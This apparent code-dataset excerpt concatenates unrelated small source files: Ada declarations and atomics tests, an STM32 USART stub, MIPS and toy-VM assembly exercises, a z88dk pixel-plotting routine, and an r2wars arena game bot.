overriding function Is_Allocator (Self : Base_Allocator) return Boolean;
overriding function Is_Expression (Self : Base_Allocator) return Boolean;
type Allocator is
new Base_Allocator and Program.Elements.Allocators.Allocator_Text
with record
New_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Left_Bracket_Token : Program.Lexical_Elements.Lexical_Element_Access;
Right_Bracket_Token : Program.Lexical_Elements.Lexical_Element_Access;
end record;
overriding function To_Allocator_Text
(Self : in out Allocator)
return Program.Elements.Allocators.Allocator_Text_Access;
overriding function New_Token
(Self : Allocator)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function Left_Bracket_Token
(Self : Allocator)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function Right_Bracket_Token
(Self : Allocator)
return Program.Lexical_Elements.Lexical_Element_Access;
type Implicit_Allocator is
new Base_Allocator
with record
Is_Part_Of_Implicit : Boolean;
Is_Part_Of_Inherited : Boolean;
Is_Part_Of_Instance : Boolean;
end record;
overriding function To_Allocator_Text
(Self : in out Implicit_Allocator)
return Program.Elements.Allocators.Allocator_Text_Access;
overriding function Is_Part_Of_Implicit
(Self : Implicit_Allocator)
return Boolean;
overriding function Is_Part_Of_Inherited
(Self : Implicit_Allocator)
return Boolean;
overriding function Is_Part_Of_Instance
(Self : Implicit_Allocator)
return Boolean;
end Program.Nodes.Allocators;
|
host/stm32gd-usart-peripheral.adb | ekoeppen/STM32_Generic_Ada_Drivers | 1 | 29247 | with System; use System;
-- with Ada.Text_IO;
package body STM32GD.USART.Peripheral is
procedure putchar (Data : in Character) with Import => true, Convention => C;
procedure Init is
begin
null;
end Init;
procedure Transmit (Data : in Byte) is
begin
putchar (Character'Val (Data));
end Transmit;
function Receive return Byte is
begin
return 0;
end Receive;
end STM32GD.USART.Peripheral;
|
exercises/7 searchInToArray.asm | DanerSound/MIPS-from-scratch | 2 | 171807 | <filename>exercises/7 searchInToArray.asm
# Given an Array Search an Element usign the while_statement
#
.data
array: .word 2, 4, 5, 9, 133, 44, 1, 0
.text
main:
li $t0, 44 # define the element to be SEARCH
move $t1, $zero # init the index
#lw $t2, array # load the base address of array
while: lw $t3,array($t1)
beq $t0, $t3, exit
addi $t1, $t1, 4 # the reading step will be linked to the type of the array
j while
#exit the program
exit: li $v0,10
syscall
|
examples/helloworld.asm | Textmode/TMVM | 0 | 165702 | ;; That esteemed classic of computing, 'Hello, world!'
MOV 1, A ; set the device port, the terminal is device 1
SWP A, B ; swap it into B
LBL start, null
MOV 'H', A ; Move a letter into A, and...
OUT B, A ; Push it to the port
MOV 'e', A ; Rince and...
OUT B, A ; Repeat!
MOV 'l', A
OUT B, A
OUT B, A
MOV 'o', A
OUT B, A
MOV $2c, A ; Comma
OUT B, A
MOV $20, A ; Space
OUT B, A
MOV 'w', A
OUT B, A
MOV 'o', A
OUT B, A
MOV 'r', A
OUT B, A
MOV 'l', A
OUT B, A
MOV 'd', A
OUT B, A
MOV $21, A ; Exclamation!
OUT B, A
MOV $0d, A ; Carrage return
OUT B, A
MOV $0a, A ; Linefeed.
OUT B, A
HLT ; and finally halt the machine, since we are bastards.
|
tests/src/main.adb | Fabien-Chouteau/atomic | 3 | 28893 | pragma Assertion_Policy (Check);
with Atomic;
with Atomic.Unsigned;
with Atomic.Signed;
with Ada.Text_IO;
with Interfaces;
procedure Main is
generic
type T is mod <>;
procedure Test_Unsigned;
generic
type T is range <>;
procedure Test_Signed;
-------------------
-- Test_Unsigned --
-------------------
procedure Test_Unsigned is
package UAtomic is new Atomic.Unsigned (T);
use UAtomic;
V : aliased Instance := Init (T'Last);
Old : T := T'Last;
Result : T;
Success : Boolean;
begin
pragma Assert (Load (V) = T'Last);
Store (V, T'First);
pragma Assert (Load (V) = T'First);
Exchange (V, T'Last, Old);
pragma Assert (Load (V) = T'Last);
pragma Assert (Old = T'First);
Compare_Exchange (V,
Expected => T'First,
Desired => T'Last / 2,
Weak => True,
Success => Success);
pragma Assert (not Success);
Compare_Exchange (V,
Expected => T'Last,
Desired => T'Last / 2,
Weak => True,
Success => Success);
pragma Assert (Success);
pragma Assert (Load (V) = T'Last / 2);
-- <OP>
Store (V, T'First);
Add (V, 1);
pragma Assert (Load (V) = T'First + 1);
Store (V, T'Last);
Sub (V, 1);
pragma Assert (Load (V) = T'Last - 1);
Store (V, T'First);
Op_And (V, 2#1010#);
pragma Assert (Load (V) = (T'First and 2#1010#));
Store (V, T'First);
Op_XOR (V, 2#1010#);
pragma Assert (Load (V) = (T'First xor 2#1010#));
Store (V, T'First);
Op_OR (V, 2#1010#);
pragma Assert (Load (V) = (T'First or 2#1010#));
Store (V, T'First);
NAND (V, 2#1010#);
pragma Assert (Load (V) = (not (T'First and 2#1010#)));
-- <OP>_Fetch
Store (V, T'First);
Add_Fetch (V, 1, Result);
pragma Assert (Load (V) = T'First + 1);
pragma Assert (Result = T'First + 1);
Store (V, T'Last);
Sub_Fetch (V, 1, Result);
pragma Assert (Load (V) = T'Last - 1);
pragma Assert (Result = T'Last - 1);
Store (V, T'First);
And_Fetch (V, 2#1010#, Result);
pragma Assert (Load (V) = (T'First and 2#1010#));
pragma Assert (Result = (T'First and 2#1010#));
Store (V, T'First);
XOR_Fetch (V, 2#1010#, Result);
pragma Assert (Load (V) = (T'First xor 2#1010#));
pragma Assert (Result = (T'First xor 2#1010#));
Store (V, T'First);
OR_Fetch (V, 2#1010#, Result);
pragma Assert (Load (V) = (T'First or 2#1010#));
pragma Assert (Result = (T'First or 2#1010#));
Store (V, T'First);
NAND_Fetch (V, 2#1010#, Result);
pragma Assert (Load (V) = (not (T'First and 2#1010#)));
pragma Assert (Result = (not (T'First and 2#1010#)));
-- Fetch_<OP>
Store (V, T'First);
Fetch_Add (V, 1, Result);
pragma Assert (Load (V) = T'First + 1);
pragma Assert (Result = T'First);
Store (V, T'Last);
Fetch_Sub (V, 1, Result);
pragma Assert (Load (V) = T'Last - 1);
pragma Assert (Result = T'Last);
Store (V, T'First);
Fetch_And (V, 2#1010#, Result);
pragma Assert (Load (V) = (T'First and 2#1010#));
pragma Assert (Result = T'First);
Store (V, T'First);
Fetch_XOR (V, 2#1010#, Result);
pragma Assert (Load (V) = (T'First xor 2#1010#));
pragma Assert (Result = T'First);
Store (V, T'First);
Fetch_OR (V, 2#1010#, Result);
pragma Assert (Load (V) = (T'First or 2#1010#));
pragma Assert (Result = T'First);
Store (V, T'First);
Fetch_NAND (V, 2#1010#, Result);
pragma Assert (Load (V) = (not (T'First and 2#1010#)));
pragma Assert (Result = T'First);
-- Exchange
Store (V, T'First);
pragma Assert (Exchange (V, T'First + 1) = T'First);
pragma Assert (Load (V) = T'First + 1);
Store (V, T'First);
pragma Assert (not Compare_Exchange (V, T'First + 1, T'First + 1, Weak => True));
pragma Assert (Compare_Exchange (V, T'First, T'First + 1, Weak => True));
pragma Assert (Load (V) = T'First + 1);
-- func <OP>_Fetch
Store (V, T'First);
pragma Assert (Add_Fetch (V, 1) = T'First + 1);
pragma Assert (Load (V) = T'First + 1);
Store (V, T'Last);
pragma Assert (Sub_Fetch (V, 1) = T'Last - 1);
pragma Assert (Load (V) = T'Last - 1);
Store (V, T'First);
pragma Assert (And_Fetch (V, 2#1010#) = (T'First and 2#1010#));
pragma Assert (Load (V) = (T'First and 2#1010#));
Store (V, T'First);
pragma Assert (XOR_Fetch (V, 2#1010#) = (T'First xor 2#1010#));
pragma Assert (Load (V) = (T'First xor 2#1010#));
Store (V, T'First);
pragma Assert (OR_Fetch (V, 2#1010#) = (T'First or 2#1010#));
pragma Assert (Load (V) = (T'First or 2#1010#));
Store (V, T'First);
pragma Assert (NAND_Fetch (V, 2#1010#) = (not (T'First and 2#1010#)));
pragma Assert (Load (V) = (not (T'First and 2#1010#)));
-- func Fetch_<OP>
Store (V, T'First);
pragma Assert (Fetch_Add (V, 1) = T'First);
pragma Assert (Load (V) = T'First + 1);
Store (V, T'Last);
pragma Assert (Fetch_Sub (V, 1) = T'Last);
pragma Assert (Load (V) = T'Last - 1);
Store (V, T'First);
pragma Assert (Fetch_And (V, 2#1010#) = T'First);
pragma Assert (Load (V) = (T'First and 2#1010#));
Store (V, T'First);
pragma Assert (Fetch_XOR (V, 2#1010#) = T'First);
pragma Assert (Load (V) = (T'First xor 2#1010#));
Store (V, T'First);
pragma Assert (Fetch_OR (V, 2#1010#) = T'First);
pragma Assert (Load (V) = (T'First or 2#1010#));
Store (V, T'First);
pragma Assert (Fetch_NAND (V, 2#1010#) = T'First);
pragma Assert (Load (V) = (not (T'First and 2#1010#)));
Ada.Text_IO.Put_Line ("SUCCESS Unsigned" & T'Object_Size'Img);
end Test_Unsigned;
-----------------
-- Test_Signed --
-----------------
procedure Test_Signed is
package UAtomic is new Atomic.Signed (T);
use UAtomic;
V : aliased Instance := Init (T'Last);
Old : T := T'Last;
Result : T;
Success : Boolean;
begin
pragma Assert (Load (V) = T'Last);
Store (V, T'First);
pragma Assert (Load (V) = T'First);
Exchange (V, T'Last, Old);
pragma Assert (Load (V) = T'Last);
pragma Assert (Old = T'First);
Compare_Exchange (V,
Expected => T'First,
Desired => T'Last / 2,
Weak => True,
Success => Success);
pragma Assert (not Success);
Compare_Exchange (V,
Expected => T'Last,
Desired => T'Last / 2,
Weak => True,
Success => Success);
pragma Assert (Success);
pragma Assert (Load (V) = T'Last / 2);
-- <OP>
Store (V, T'First);
Add (V, 1);
pragma Assert (Load (V) = T'First + 1);
Store (V, T'Last);
Sub (V, 1);
pragma Assert (Load (V) = T'Last - 1);
-- <OP>_Fetch
Store (V, T'First);
Add_Fetch (V, 1, Result);
pragma Assert (Load (V) = T'First + 1);
pragma Assert (Result = T'First + 1);
Store (V, T'Last);
Sub_Fetch (V, 1, Result);
pragma Assert (Load (V) = T'Last - 1);
pragma Assert (Result = T'Last - 1);
-- Fetch_<OP>
Store (V, T'First);
Fetch_Add (V, 1, Result);
pragma Assert (Load (V) = T'First + 1);
pragma Assert (Result = T'First);
Store (V, T'Last);
Fetch_Sub (V, 1, Result);
pragma Assert (Load (V) = T'Last - 1);
pragma Assert (Result = T'Last);
-- Exchange
Store (V, T'First);
pragma Assert (Exchange (V, T'First + 1) = T'First);
pragma Assert (Load (V) = T'First + 1);
Store (V, T'First);
pragma Assert (not Compare_Exchange (V, T'First + 1, T'First + 1, Weak => True));
pragma Assert (Compare_Exchange (V, T'First, T'First + 1, Weak => True));
pragma Assert (Load (V) = T'First + 1);
-- func <OP>_Fetch
Store (V, T'First);
pragma Assert (Add_Fetch (V, 1) = T'First + 1);
pragma Assert (Load (V) = T'First + 1);
Store (V, T'Last);
pragma Assert (Sub_Fetch (V, 1) = T'Last - 1);
pragma Assert (Load (V) = T'Last - 1);
-- func Fetch_<OP>
Store (V, T'First);
pragma Assert (Fetch_Add (V, 1) = T'First);
pragma Assert (Load (V) = T'First + 1);
Store (V, T'Last);
pragma Assert (Fetch_Sub (V, 1) = T'Last);
pragma Assert (Load (V) = T'Last - 1);
Ada.Text_IO.Put_Line ("SUCCESS Signed" & T'Object_Size'Img);
end Test_Signed;
procedure Test_U8 is new Test_Unsigned (Interfaces.Unsigned_8);
procedure Test_U16 is new Test_Unsigned (Interfaces.Unsigned_16);
procedure Test_U32 is new Test_Unsigned (Interfaces.Unsigned_32);
procedure Test_U64 is new Test_Unsigned (Interfaces.Unsigned_64);
procedure Test_S8 is new Test_Signed (Interfaces.Integer_8);
procedure Test_S16 is new Test_Signed (Interfaces.Integer_16);
procedure Test_S32 is new Test_Signed (Interfaces.Integer_32);
procedure Test_S64 is new Test_Signed (Interfaces.Integer_64);
begin
Test_U8;
Test_U16;
Test_U32;
Test_U64;
Test_S8;
Test_S16;
Test_S32;
Test_S64;
end Main;
|
libsrc/graphics/attache/w_plotpixl.asm | Toysoft/z88dk | 0 | 89042 | ;
; Otrona Attachè graphics routines
; console driven video HW access
;
; <NAME> 2018
;
;
; Plot pixel at (x,y) coordinate.
;
;
; $Id: w_plotpixel.asm $
;
INCLUDE "graphics/grafix.inc"
SECTION code_clib
PUBLIC w_plotpixel
EXTERN l_cmp
EXTERN GFX_COUT
EXTERN div64
EXTERN __gfx_coords
.w_plotpixel
push hl
ld hl,maxy
call l_cmp
pop hl
ret nc ; Return if Y overflows
push de
ld de,maxx
call l_cmp
pop de
ret c ; Return if X overflows
ld (__gfx_coords),hl ; store X
ld (__gfx_coords+2),de ; store Y: COORDS must be 2 bytes wider
push de
push hl
LD C,27
CALL GFX_COUT
LD C,'0'
CALL GFX_COUT
pop de ; X coordinate
call div64
ld c,e
CALL GFX_COUT
ld c,d
CALL GFX_COUT
pop de ; y coordinate
ld hl,maxy-1 ; flip vertically
sbc hl,de
ex de,hl
call div64
ld c,e
CALL GFX_COUT
ld c,d
JP GFX_COUT
|
newbot.x86-32.asm | brightprogrammer/r2wars-bots | 0 | 7504 | start:
mov esp, 0x400
; max bound
mov eax, esp
; another code
mov ecx, 0xc3c3c3c3 ; ret - i386
mov edx, 0xd65f03c0 ; ret - aarch64
mov ebx, 0xe12fff1e ; bx lr - arm32
; main program
mov ebp, 0xe4ff6060
mov esi, 0x6060e046
mov edi, 0x0f60fc83
; main program
; 83fc20 - cmp esp, 0x20
; 0f46e1 - cmovbe esp, eax
; 60 - pushad
; 60 - pushad
; 60 - pushad
; 60 - pushad
; ffe4 - jmp esp
pushad
jmp esp |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.